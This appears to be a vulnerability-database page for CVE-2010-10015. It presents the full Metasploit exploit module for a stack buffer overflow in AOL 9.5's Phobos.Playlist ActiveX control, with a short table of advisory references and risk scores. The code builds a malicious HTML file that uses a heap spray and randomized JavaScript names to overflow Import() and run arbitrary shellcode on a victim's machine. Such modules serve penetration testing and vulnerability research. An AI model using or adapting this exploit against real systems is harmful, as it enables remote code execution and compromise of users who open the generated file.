AOL 9.5 Phobos.Playlist Import() Stack-based Buffer Overflow

🗓️ 20 Jan 2010 00:00:00Reported by Trancer <[email protected]>Type

AOL 9.5 Phobos.Playlist Import() Stack-based Buffer Overflow exploit for Metasploi

Reporter	Title	Published	Views	Family All 10
attackerkb	CVE-2010-10015	21 Aug 202520:08	–	attackerkb
Circl	CVE-2010-10015	29 May 201815:50	–	circl
CNNVD	AOL 安全漏洞	21 Aug 202500:00	–	cnnvd
CVE	CVE-2010-10015	21 Aug 202520:08	–	cve
Cvelist	CVE-2010-10015 AOL <= 9.5 Phobos.Playlist 'Import()' Stack-Based Buffer Overflow	21 Aug 202520:08	–	cvelist
EUVD	EUVD-2010-5309	7 Oct 202500:30	–	euvd
NVD	CVE-2010-10015	21 Aug 202520:15	–	nvd
Positive Technologies	PT-2025-34284 · America Online · Phobos.Dll +3	21 Aug 202500:00	–	ptsecurity
RedhatCVE	CVE-2010-10015	23 Aug 202520:13	–	redhatcve
Vulnrichment	CVE-2010-10015 AOL <= 9.5 Phobos.Playlist 'Import()' Stack-Based Buffer Overflow	21 Aug 202520:08	–	vulnrichment

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

##
# aol_phobos_bof.rb
#
# AOL 9.5 Phobos.Playlist 'Import()' Stack-based Buffer Overflow exploit for the Metasploit Framework
#
# Tested successfully on the following platforms:
#  - AOL 9.5 (Revision 4337.155) on Internet Explorer 7, Windows XP SP3
#
# Phobos.dll version tested:
# File Version: 9.5.0.1
# ClassID: A105BD70-BF56-4D10-BC91-41C88321F47C
# RegKey Safe for Script: False
# RegKey Safe for Init: False
# Implements IObjectSafety: False
# KillBitSet: False
#
# Due to the safe for initialization and safe for scripting settings of this ActiveX control,
# exploitation is possible only from Local Machine Zone, which means the victim must run the
# generated exploit file locally.
#
# Trancer
# http://www.rec-sec.com
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'AOL 9.5 Phobos.Playlist Import() Stack-based Buffer Overflow',
        'Description' => %q{
          This module exploits a stack-based buffer overflow within Phobos.dll of AOL 9.5.
          By setting an overly long value to 'Import()', an attacker can overrun a buffer
          and execute arbitrary code.

          NOTE: This ActiveX control is NOT marked safe for scripting or initialization.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Trancer <mtrancer[at]gmail.com>'
        ],
        'References' => [
          [ 'CVE', '2010-10015' ],
          [ 'OSVDB', '61964'],
          [ 'EDB', '11204' ],
          [ 'URL', 'http://www.rec-sec.com/2010/01/25/aol-playlist-class-buffer-overflow/' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => true
        },
        'Payload' => {
          'Space' => 1024,
          'BadChars' => "\x00\x09\x0a\x0d'\\",
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C, 'Offset' => 1000 } ]
        ],
        'DisclosureDate' => '2010-01-20',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.html']),
      ]
    )
  end

  def exploit
    # Encode the shellcode
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Setup exploit buffers
    nops = Rex::Text.to_unescape([target.ret].pack('V'))
    ret = Rex::Text.uri_encode([target.ret].pack('L'))
    blocksize = 0x40000
    fillto = 500
    offset = target['Offset']

    # Randomize the javascript variable names
    phobos = rand_text_alpha(rand(100) + 1)
    j_shellcode = rand_text_alpha(rand(100) + 1)
    j_nops = rand_text_alpha(rand(100) + 1)
    j_ret = rand_text_alpha(rand(100) + 1)
    j_headersize = rand_text_alpha(rand(100) + 1)
    j_slackspace = rand_text_alpha(rand(100) + 1)
    j_fillblock = rand_text_alpha(rand(100) + 1)
    j_block = rand_text_alpha(rand(100) + 1)
    j_memory = rand_text_alpha(rand(100) + 1)
    j_counter = rand_text_alpha(rand(30) + 2)
    j_bla = rand_text_alpha(rand(8) + 4)

    html = %Q|<html>
<object classid='clsid:A105BD70-BF56-4D10-BC91-41C88321F47C' id='#{phobos}'></object>
<script>
#{j_shellcode}=unescape('#{shellcode}');
#{j_nops}=unescape('#{nops}');
#{j_headersize}=20;
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
#{j_memory}=new Array();
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};

var #{j_ret}='';
for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');
#{phobos}.Import(#{j_ret},'#{j_bla}','True','True');
</script>
</html>|

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(html)
  end
end

20 Jan 2010 00:00Current

7.8High risk

Vulners AI Score7.8

CVSS 48.4

EPSS0.00525

SSVC